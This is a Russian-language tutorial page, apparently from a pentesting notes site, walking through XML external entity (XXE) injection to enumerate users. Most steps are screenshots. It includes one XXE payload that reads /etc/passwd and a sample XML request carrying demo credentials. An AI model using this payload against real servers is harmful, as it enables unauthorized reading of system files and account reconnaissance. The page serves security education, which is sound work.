> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-user-enumeration-pentesting-web.md).

# Перечисление пользователей через XXE

## XXE (внедрение внешней сущности XML):

<figure><img src="/files/0ec747bffe208f4db18ea25964f7d4becae17738" alt=""><figcaption></figcaption></figure>

#### Анализ исходного кода (структуры XML), перехваченный с помощью Burp Suite

<figure><img src="/files/6ab177d64e369f3b5a32512bbd0f9e48e0ccb550" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/76f8fe534b0610fe4c44341583d67493973a641c" alt=""><figcaption></figcaption></figure>

#### Попытка атаки XXE (внедрение внешней сущности XML)

* Изменение метода запроса с GET на POST.

<figure><img src="/files/993b646fd7c19422b61448743be4689ae906e2c1" alt=""><figcaption></figcaption></figure>

* Попытка внедрения XXE с моделью принтера в POST-запросе.

<pre class="language-xml"><code class="lang-xml">&#x3C;creds>
<strong>	&#x3C;customer>
</strong>		Jordan
	&#x3C;/customer>
	&#x3C;password>
		jordan123
	&#x3C;/password>
&#x3C;/creds>
</code></pre>

* Наблюдение за тем, как сервер интерпретирует XXE-модель принтера.

<figure><img src="/files/b08958408f37811318f7eb3dd0ad795bc152b825" alt=""><figcaption></figcaption></figure>

* Чтобы получить доступ к файловой системе, мы должны создать новый **сущность**, например, "myFile", следующим образом: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>` Затем, в переменной, мы должны поместить результат с помощью "**/\&myFile**" вот так:

<figure><img src="/files/9832fe8684cad4116e08b5a6fea575160ef95cc9" alt=""><figcaption></figcaption></figure>

#### Идентификация пользователя "ftpUserULTRA

<figure><img src="/files/c114ef68d8747a31f63bfd87e649e096847e8703" alt=""><figcaption></figcaption></figure>


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